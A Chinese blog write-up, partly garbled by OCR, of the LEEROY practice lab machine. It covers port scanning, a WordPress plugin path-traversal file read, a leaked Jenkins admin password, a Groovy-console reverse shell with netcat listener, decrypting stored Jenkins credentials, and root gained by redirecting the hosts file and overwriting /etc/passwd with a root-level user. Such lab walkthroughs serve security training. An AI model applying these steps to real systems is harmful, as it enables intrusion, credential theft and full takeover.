vulhub - LEEROY: 1 writeup

原创
 - 支神经病 ● 子 2021-05-24 10:31:42 发布 ● 66 全 收藏 ○ 次表专栏: VM破解 文章标签: ssl oscp vulhub 提权 版权声明: 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/Jiajiajiang_/article/details/117108761 版权 ● WM破解 专栏收录该内容 18 篇文章 1 订阅 订阅专栏 就 点:
hosts
wordpress
jenkins
https
sudo -l

主机发现 && 端口扫描

Currently scann:	ing: Finished!	Screen	View:	Unique Hosts	 entvtwentvone/
13 Captured ARP	Req/Rep packets,	from 4 hos	sts.	Total size: 780	
IP	At MAC Address	Count	Len	MAC Vendor / Hostn	ame
192.168.154.1	00:50:56:c0:00:08	$\frac{1}{1}$	60	VMware, Inc.	
192.168.154.2	00:50:56:e2:7e:b8	6	360	VMware, Inc.	
192.168.154.254	00:50:56:e7:96:1e	2	120	VMware, Inc.	
192.168.154.133	00:0c:29:9e:b8:89	4	240	VMware, Inc. http://www.science.com/	s://blog.csdn.net/Jiajiajiang_

终于是一台端口多一些的机器了

(kali⊛ \$ sudo r	kali)- map -s	-[~/vuln/ada n sV -p- 192.10	n] 58.154.133			
Starting M Stats: 0:0 NSE Timing	lmap 7)0:37 e g: Abou	.91 (https:/ elapsed; 0 ho ut 90.00% dor	//nmap.org) osts complet ne; ETC: 21:	at 2021-05 ed (1 up), 43 (0:00:00	5-20 21:42 1 undergoin) remaining	EDT ng Script Scan)
Nmap scan	report	t for 192.168	8,154.133			
Host is up) (0.00	0064s latency	y).			
Not shown:	65530	0 closed port	ts			
PORT	STATE	SERVICE	VERSION			
22/tcp	open	ssh	OpenSSH 8.2	p1 Ubuntu 4	+ (Ubuntu L:	inux; protocol 2.0)
80/tcp	open	http	nginx 1.17.	10 (Ubuntu))	
8080/tcp	open	http	Jetty 9.4.2	7.v20200227	1	
13380/tcp	open	ssl/unknown				
33060/tcp	open	mysqlx?				https://blog.csdn.net/Jiajiajiang_

漏洞挖掘

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首先呢ssh的版本是比较新的。

<pre>(kali@kali)-[~/vuln/adam] \$ searchsploit openssh 8.2 Exploits: No Results Shellcodes: No Results</pre>	File Actions Edit snap srv swap.img	: View Help
<pre>(kali@kali)-[~/vuln/adam] \$ searchsploit openssh</pre>		
Exploit Title	var root@wp:/# cd rod	Path
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service FreeBSD OpenSSH 3.5p1 - Remote Command Execution glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read Novell Netware 6.5 - OpenSSH Remote Stack Overflow OpenSSH 1.2 - '.scp' File Create/Overwrite OpenSSH 2.3 < 7.7 - Username Enumeration OpenSSH 2.3 < 7.7 - Username Enumeration OpenSSH 2.3 < 7.7 - Username Enumeration OpenSSH 2.3.0.1/3.0.2 - Channel Code Off-by-One OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One OpenSSH 3.x - Challenge-Response Buffer Overflow (1) OpenSSH 3.x - Challenge-Response Buffer Overflow (2) OpenSSH 3.x - Challenge-Response Buffer Overflow (2) OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service OpenSSH 7.2 - Denial of Service OpenSSH 7.2 - Denial of Service OpenSSH 7.2.2 - Username Enumeration OpenSSH 7.2.2 - Username Enumeration OpenSSH 4.6.6 SFTP (x64) - Command Execution OpenSSH < 6.6 SFTP (x64) - Command Execution OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Dom OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading OpenSSH < 7.7 - User Enumeration (2) OpenSSH < 7.7 - User Enumeration (2) OpenSSH SCP Client - Write Arbitrary Files OpenSSH /PAM 3.6.1p1 - 'gosh.sh' Remote Users Ident OpenSSH /PAM 3.6.1p1 - 'gosh.sh' Remote Users Ident OpenSSH /PAM 3.6.1p1 - 'gosh.sh' Remote Users Ident OpenSSH /PAM 3.6.1p1 - Remote Users Discovery Tool OpenSSH 7.2.p2 - Username Enumeration Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack	<pre>cd 100t Poot@wp:-# ls -al ls -al dotal 40 drwx - 5 rol drwxr-xr-x 20 rol lrwxrwxrwx 1 rol -rw-r-r- 1 rol drwx - 2 rol drwx - 2 rol drwx - 2 rol -rw-r-r- 1 rol -rw-r-r- 1 rol -rw-r-r- 1 rol -rw-r-r- 1 rol -rw-r-r- 1 rol roldwp:-# Cat pr cat proof.txt 7efd721c8bfff293 root@wp:-# Id id ain Sockets) Priv. Prot@wp:-# Cat pr cat proof.txt 7efd721c8bfff293 root@wp:-# Ls ^C </pre>	<pre>linux/remote/6094.txt multiple/dos/1572.pl freebsd/remote/17462.txt linux/local/258.sh novell/dos/14866.txt linux/remote/20253.sh linux/remote/20253.sh linux/remote/45230.py unix/remote/21314.txt linux/remote/21402.txt unix/remote/21578.txt unix/remote/21579.txt multiple/dos/2444.sh linux/local/41173.c linux/dos/40888.py multiple/remote/39569.py linux/remote/40136.py linux/remote/45010.py linux/remote/45030.c linux/remote/45039.py multiple/remote/4503.txt linux/remote/4503.txt linux/remote/4503.txt linux/remote/4503.txt linux/remote/4503.txt linux/remote/45939.py multiple/remote/26.sh linux/remote/4013.txt multiple/remote/3303.sh</pre>
Shellcodes: No Results		https://blog.csdn.net/Jiaijajiang

Shellcodes: No Results

好的,那么还是从web下手吧,有俩。

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就一图片 啥也不是



ctrl + U, 啥也不是



扫目录,啥也不是



啥也不是



404 Not Found

nginx/1.17.10 (Ubuntu)

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8080

是个登录框





Welcome to Jenkins!

Username

Password

Sign in

Keep me signed in





有站点了



救命,又是wordpress,没有新意,好吧,做就是了。



爆破着密码先,我们找找插件

```
[i] Plugin(s) Identified:
[+] bbpress
  Location: http://leeroy.htb:13380/wp-content/plugins/bbpress/
   Last Updated: 2020-11-06T01:28:00.000Z
   [!] The version is out of date, the latest version is 2.6.6
   Found By: Urls In Homepage (Passive Detection)
  Version: 2.6.4 (80% confidence)
   Found By: Readme - Stable Tag (Aggressive Detection)
   - http://leeroy.htb:13380/wp-content/plugins/bbpress/readme.txt
[+] buddypress
  Location: http://leeroy.htb:13380/wp-content/plugins/buddypress/
  Last Updated: 2021-04-14T05:04:00.000Z
   [!] The version is out of date, the latest version is 7.3.0
   Found By: Urls In Homepage (Passive Detection)
  Version: 5.2.0 (100% confidence)
   Found By: Query Parameter (Passive Detection)
   – http://leeroy.htb:13380/wp-content/plugins/buddypress/bp-ାଞ୍ଚୀଅରେମ୍ବାର୍ଥ୍ୟ ଅଭିଆର୍ଥ୍ୟ
```

没什么一个个searchspolit

[+] wp-with-spritz Location: http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/ Latest Version: 1.0 (up to date) Last Updated: 2015-08-20T20:15:00.000Z Found By: Urls In Homepage (Passive Detection) Version: 4.2.4 (80% confidence) Found By: Readme - Stable Tag (Aggressive Detection) - http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wramadmen.twt.ajjang_



🔍 Kali Linux 🕱 Kali Training 🕱 Kali Tools 🕱 Kali Forums 🧧 Kali Docs 🤜 NetHunter 🗍 Offensive Security 🗍 MSFU 🖟 Exploit-DB 🌾 GHDB

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp.x:7:7:1p:/var/spool /lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/nucp:/usr/sbin /nologin proxy:x:13:3:proxy:/bin:/usr/sbin/nologin news:x:3:3:3:ww-data:/var/www.usr/sbin/nologin backup:x:3:4:backup:/var/backups:/usr/sbin /nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin rc:x:39:39:rcd:/var/run/ircd:/usr/sbin/nologin gats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,...;/run/systemd:/usr/sbin/nologin systemd-resolve::101:103:systemd Resolver,...;/run/systemd:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin ts:x:106::111:TPM software stack,...;/var/lib/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:101:://oar/cache/pollinate:/bin/false sshd:x:11:65534::/run/sshd:/usr/sbin/nologin landscape:x:109:15::/var/lib/landscape:/usr/sbin/nologin /nologin lat:x:98:100::/var/sp99:999:systemd Core Dumper://usr/sbin /nologin lat:x:98:100::/var/sp99:999:systemd Core Dumper://usr/sbin /nologin lat:x:11:11:9MySQL Server,..;10:nonexistent:/lar/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper://usr/sbin/nologin /msql:x:113:119:MySQL Server,..;10:nonexistent:/lar/sbin/nologin systemd-coredump:x:909:909:systemd Core Dumper://isr/sbin/nologin lands:/lar/susr/sbin/nolog://susr/sbin/nolog://susr/sbin/nologin/susr/sbin/nologin/susr/sbin/nolog://susr/sbin/nolog://susr/sbin/nolog://susr/sbin/nolog://susr/sbin

getshell

格局小了,竟然是直接读文件,就行。

行了 去8080吧

\leftrightarrow \rightarrow e	' û	🔏 -conte	nt/plugins/wp-w	ith-spritz/wp	.spritz.content.	filter.php?url=///	//home/lee	eroy/.bash_histor	γ… ⊠ ☆
	< 📉 Kali Training	Kali Tools	Kali Forums	🧧 Kali Docs	NetHunter	📕 Offensive Security	📕 MSFU	🖟 Exploit-DB 🛭	GHDB
1 ipconf 2 ifconf 3 apt-ge 4 ap-tge 5 apt-ge 6 sudo a 7 sudo a 7 sudo a 8 wget - 9 wget h 10 sudo s 11 sudo a 12 sudo a 13 echo " 14 sudo s	ig ig tupgrade tupgrade tupgrade ot-get install ope t-get install ope t-get install ope tps://pkg.jenkins to-c 'echo deb htt ot-get update ot-get install jer ln\$AiWY40HWeQ@KJ5 J-	njdk-8-jdk nx .jenkins.io/o .io/debian-si p://pkg.jenki kins 3P" > /var/li	lebian/jenkins-c able/binary/jen ns.io/debian-st b/jenkins/secre	i.org.key s kins_2.222.3 able binary/ ts/initialAdm	sudo apt-key ad all.deb -0 \$1 > /etc/apt/sou ninPassword	d - no-check-certificat rces.list.d/jenkins.l:	9 ist'		

echo "z1n\$AiWY40HWeQ@KJ53P" > /var/lib/jenkins/secrets/initialAdminPassword

顺利登录了



想办法从这里getshell

参考一篇文章: https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6

没错这就叫,天下文章一大抄,看你会找不会找

Manage Jenkins -> Script Console

写个反弹shell

https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76







run

反弹回来了

```
-(kali®kali)-[~/vuln/leeroy]
└_$ <u>sudo</u> nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.154.129] from (UNKNOWN) [192.168.154.133] 37586
-(kali��kali)-[~/vuln/leeroy]
_______s<u>sudo</u> nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.154.129] from (UNKNOWN) [192.168.154.133] 37586
whoami
jenkins
ls
bin
boot
cdrom
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swap.img
sys
tmp
usr
var
```

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```
cat credentials.xml
<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@2.3.7">
 <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
   <entry>
     <com.cloudbees.plugins.credentials.domains.Domain>
       <specifications/>
     </com.cloudbees.plugins.credentials.domains.Domain>
     <java.util.concurrent.CopyOnWriteArrayList>
       <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
         <scope>GLOBAL</scope>
         <id>d74a6bca-af9a-4dfb-94dd-4f358ef164dd</id>
         <description>WP Login</description>
         <username>leeroy</username>
         </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
     </java.util.concurrent.CopyOnWriteArrayList>
   </entry>
 </domainCredentialsMap>
                                                                                             https://blog.csdn.net/Jiajiaji
 <?xml version='1.1' encoding='UTF-8'?>
 <com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@2.3.7">
   <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
     <entry>
       <com.cloudbees.plugins.credentials.domains.Domain>
         <specifications/>
       </com.cloudbees.plugins.credentials.domains.Domain>
       <java.util.concurrent.CopyOnWriteArrayList>
         <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
           <scope>GLOBAL</scope>
           <id>d74a6bca-af9a-4dfb-94dd-4f358ef164dd</id>
           <description>WP Login</description>
           <username>leeroy</username>
           <password>{AQAAABAAAAAgXBY00AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508Efj0Dn11Xhx}
         </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
```

```
</java.util.concurrent.CopyOnWriteArrayList>
```

</entry>

</domainCredentialsMap>

把passwd放过来解密

println(Jenkins.instance.pluginManager.plugins)

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

println(hudson.util.Secret.decrypt("{AQAAABAAAAAgXBY00AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508Efj0Dn1lXhx

Result

ew3@PHQiX2RtP1ra!GZs

俩挑一个用,能用哪个用哪个。

Run

println(hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508Efj0D println(hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508Efj0D

获得了密码

ew3@PHQiX2RtP1ra!GZs

su 过来

jenkins@leeroy:~\$ su leeroy su leeroy Password: ew3@PHQiX2RtP1ra!GZs leeroy@leeroy:/var/lib/jenkins\$

提权

那就是这了把,具体怎么提,再看看

```
看看installer都干嘛了
```



重点关注wegt的第二行下了个文件,还可以自定义文件名!

惊不惊喜, 意不意外。

我们可以修改hosts,让他下载我们自己的资源,搞一个真假/etc/passwd

hosts文件一般需要root才能改,但是我们看看这个文件

leeroy@leeroy:/tmp\$ ls -l /etc/hosts
lrwxrwxrwx 1 root root 22 May 9 2020 /etc/hosts → /var/lib/jenkins/hosts

巧了,能改,回到jenkins用户去改这个文件。

jenkins@leeroy:~\$ echo "192.168.154.129 pkg.jenkins.io" >> /var/lib/jenkins/hosts <8.154.129 pkg.jenkins.io" >> /var/lib/jenkins/hosts

然后我们去改个文件

将靶机的passwd复制过来加一行,在这之前,生成一个属于自己的密码

mkpasswd -m sha-512

丢进passwd

jessica:\$6\$qc6.J4YkRXy.F1Do\$JdMGviKZuhtOfIIzpJF83Ej0oPXHfF4JUQTPuXOZEkQT8XlZPVwAfUSyBPwG2×2cK7hJxqByE8GzKdn9BDbS/0 :0:0:root:/root:/bin/bash

然后把文件名字改为jenkins_2.222.3_all.deb



然后让对面下载

leeroy@leeroy:/tmp\$ sudo /usr/share/jenkins/jenkins_installer /etc/passwd

把\$1参数用起来

好的,其实是失败了因为发现是https的

后果就是。。。。/etc/passwd文件没有了 everything nothing... fine

重头再来



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开https服务,我写在了其他文章里

移步: https://blog.csdn.net/Jiajiajiang_/article/details/117124221

建议用apache2

好了等我们开了https服务后,再执行

leeroy@leeroy:/tmp\$ sudo /usr/share/jenkins/jenkins_installer /etc/passwd

好的,由于时间太久我忘记我给jessica的密码是什么了,我重新加了一个

(kali@kali)-[~]
\$ openssl passwd -1 -salt hack hack123
\$1\$hack\$WTn0dk2QjNeKfl.DHOUue0

mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false hack:\$1\$hack\$WTn0dk2QjNeKfl.DHOUue0:0:0::/root:/bin/bash

这里基本就代表执行好了

HTTP request sent, a Length: 2152 (2.1K) Saving to: '/etc/pas	awaiting response 200 ([application/vnd.debian.k sswd'	OK binary-pa	ickage]	
/etc/passwd	100%[]	2.10K	•-KB/s	in Øs
2021-05-24 02:13:16	(38.7 MB/s) - '/etc/passw	wd'saved	[2152/2152] https://b	log.csdn.net/Jiajiajiang_

然后就进来了



完成了

root@leeroy:/home/leeroy# id uid=0(root) gid=0(root) groups=0(root) root@leeroy:/home/leeroy# cd /root										
root@leeroy:~# ls -al										
total 56										
drwx——	6	root	root	4096	Jun	4	2020			
drwxr-xr-x	20	root	root	4096	May	8	2020			
lrwxrwxrwx	1	root	root	9	May	10	2020	.bash_history	→ /dev/null	
-rw-rr	1	root	root	3106	Dec	5	2019	.bashrc		
drwx——	2	root	root	4096	May	9	2020	.cache		
drwxr-xr-x	3	root	root	4096	May	9	2020	.local		
-rw	1	root	root	680	May	9	2020	.mysql_history		
-rw-rr	1	root	root	161	Dec	5	2019	.profile		
-rw-rr	1	root	root	33	May	11	2020	root.txt		
drwxr-xr-x	3	root	root	4096	May	8	2020	snap		
drwx——	2	root	root	4096	May	11	2020	.ssh		
-rw	1	root	root	12184	Jun	4	2020	.viminfo		
-rw-rr	1	root	root	164	May	11	2020	.wget-hsts		
root@leeroy:~# cat root.txt										
5f0c855f32a	f0c855f32ad8369ff4a6692d79ac6ab https://blog.csdn.net/Jiajiajiang_									